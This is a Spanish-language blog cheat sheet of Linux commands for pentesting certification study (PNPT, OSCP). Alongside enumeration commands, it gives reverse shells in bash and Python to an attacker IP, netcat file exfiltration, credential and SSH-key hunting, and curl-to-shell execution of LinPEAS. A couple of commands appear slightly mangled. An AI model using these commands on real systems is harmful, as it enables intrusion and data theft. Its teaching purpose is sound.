Comandos Linux para hacking: cheat sheet de pentesting esencial

6 de julio de 2026 Actualizado el 7 de julio de 2026 Guías
Comandos Linux para hacking: cheat sheet de pentesting esencial

Si te estás preparando para el PNPT, el OSCP o cualquier certificación de seguridad ofensiva, dominar la terminal Linux es lo primero que tienes que hacer. Esta cheat sheet reúne los comandos más usados en pentesting real: navegación del sistema, gestión de permisos, enumeración de red, búsqueda de ficheros, transferencia de datos y reconocimiento de servicios. Todos los comandos son reales y funcionan en distribuciones como Kali Linux o Parrot OS.

Kali Linux
Kali Linux trae de serie los comandos y herramientas de pentesting.

Navegación y gestión del sistema de ficheros

Comando Qué hace
pwd Muestra el directorio actual
ls -la Lista ficheros incluyendo ocultos y permisos
cd /ruta Cambia al directorio indicado
find / -name "*.conf" 2>/dev/null Busca ficheros .conf en todo el sistema, silenciando errores
find / -perm -4000 2>/dev/null Encuentra binarios con bit SUID activo (clave para escalada de privilegios)
locate passwd Búsqueda rápida por nombre (requiere base de datos actualizada)
which python3 Ruta del binario en el PATH
history Historial de comandos ejecutados
cat /etc/passwd Lista usuarios del sistema
cat /etc/shadow Hashes de contraseñas (solo root)
id UID, GID y grupos del usuario actual
uname -a Versión del kernel y arquitectura
cat /etc/os-release Distribución y versión del SO

Permisos y usuarios

Comando Qué hace
chmod 755 fichero rwx para propietario, rx para grupo y otros
chmod +x script.sh Añade permiso de ejecución
chown usuario:grupo fichero Cambia propietario y grupo
sudo -l Lista qué comandos puede ejecutar el usuario con sudo
su - usuario Cambia de usuario con entorno completo
cat /etc/sudoers Reglas de sudo (requiere permisos)
getfacl fichero Muestra ACLs extendidas

Enumeración de red

Comando Qué hace
ip a Interfaces de red e IPs asignadas
ip route Tabla de rutas
ss -tulpn Puertos TCP/UDP en escucha con PID asociado
netstat -antp Conexiones activas y puertos (alternativa clásica a ss)
arp -a Tabla ARP: hosts descubiertos en la red local
cat /etc/hosts Resoluciones locales de nombres
cat /etc/resolv.conf Servidores DNS configurados
ping -c 4 192.168.1.1 Comprueba conectividad con 4 paquetes ICMP
curl -I http://objetivo Cabeceras HTTP de respuesta
wget -q -O- http://objetivo Descarga silenciosa a stdout
nmap -sC -sV -oN scan.txt 192.168.1.0/24 Escaneo con scripts por defecto y versiones, salida a fichero
nmap -p- --open -T4 192.168.1.10 Todos los puertos abiertos, velocidad alta

Búsqueda de información sensible en el sistema

Comando Qué hace
grep -r "password" /var/www/ 2>/dev/null Busca la cadena «password» en ficheros web recursivamente
find / -name "id_rsa" 2>/dev/null Claves privadas SSH
find / -name "*.kdbx" 2>/dev/null Bases de datos KeePass
find / -writable -type f 2>/dev/null Ficheros escribibles por el usuario actual
crontab -l Tareas programadas del usuario actual
cat /etc/crontab Tareas del sistema (posibles vectores de escalada)
ps aux Procesos en ejecución con usuario propietario
env Variables de entorno (pueden contener secretos)

Transferencia de ficheros

Una vez dentro de un sistema, necesitas mover herramientas o extraer datos. Estos son los métodos más usados en CTF y pruebas reales:

Método Comando
Servidor HTTP (atacante) python3 -m http.server 8080
Descarga en víctima (wget) wget http://10.10.14.5:8080/linpeas.sh -O /tmp/linpeas.sh
Descarga en víctima (curl) curl http://10.10.14.5:8080/chisel -o /tmp/chisel
Copia SCP (atacante → víctima) scp fichero usuario@192.168.1.10:/tmp/
Netcat: enviar fichero nc -w 3 192.168.1.20 4444 < fichero.tar.gz
Netcat: recibir fichero nc -lvnp 4444 > fichero.tar.gz
Base64 encode/decode base64 fichero | tr -d 'n' / echo "cadena" | base64 -d > fichero

Shells y estabilización de reverse shells

Acción Comando
Listener Netcat nc -lvnp 4444
Reverse shell bash bash -i >& /dev/tcp/10.10.14.5/4444 0>&1
Reverse shell Python 3 python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.5",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.run(["/bin/bash"])'
Estabilizar TTY python3 -c 'import pty;pty.spawn("/bin/bash")'
TTY completa (paso 1 víctima) Ctrl+Zstty raw -echo; fg
TTY completa (paso 2 víctima) export TERM=xterm

Escalada de privilegios: comprobaciones rápidas

Comprobación Comando
Kernel exploitables uname -r y buscar en exploit-db
SUID peligrosos find / -perm -4000 -type f 2>/dev/null
Capabilities getcap -r / 2>/dev/null
Sudo sin contraseña sudo -l
Escritura en /etc/passwd ls -la /etc/passwd
Scripts en cron escribibles Combinar cat /etc/crontab con ls -la sobre los scripts
LinPEAS automatizado curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

Para profundizar en los fundamentos antes de aplicar estas técnicas, consulta nuestra guía sobre cómo empezar en ciberseguridad desde cero y el catálogo de cursos y certificaciones disponibles.

Vídeo: «Linux básico para hackers: comandos indispensables», por Seguridad Cero (YouTube).

Preguntas frecuentes

¿Qué distribución Linux es mejor para aprender hacking?

Kali Linux es el estándar de la industria y viene con la mayoría de herramientas preinstaladas (Nmap, Metasploit, Burp Suite, Wireshark, etc.). Parrot OS Security es una alternativa más ligera y válida para equipos con menos RAM. Ambas son distribuciones basadas en Debian, y los comandos de esta cheat sheet funcionan en las dos sin cambios.

¿Necesito memorizar todos estos comandos para el PNPT o el OSCP?

No de forma exacta, pero sí tienes que entender qué hace cada uno y cuándo aplicarlo. En el examen práctico del PNPT tienes 5 días con acceso a tus notas y a Internet, así que lo importante es entender el flujo (reconocimiento → enumeración → explotación → post-explotación) y saber dónde buscar cuando algo no funciona. Para el OSCP la mentalidad es la misma: razonamiento por encima de memorización.

¿Cuál es el primer comando que debo ejecutar al acceder a un sistema Linux comprometido?

El flujo estándar es: id (quién soy), uname -a (qué kernel corre), ip a (en qué red estoy) y sudo -l (qué puedo hacer sin contraseña). Con esa información en 30 segundos ya tienes contexto suficiente para decidir el siguiente paso. Después ejecuta LinPEAS para un análisis automático completo.

¿Qué diferencia hay entre ss y netstat?

ss es el reemplazo moderno de netstat, más rápido y disponible por defecto en distribuciones actuales. netstat forma parte del paquete net-tools, que ya no se instala por defecto en Debian/Ubuntu. En entornos de CTF y máquinas antiguas encontrarás ambos, así que conviene conocer los dos.

Sigue tu camino

Cursos de ciberseguridad por especialización

Descubre los cursos que más se adaptan a tu perfil profesional.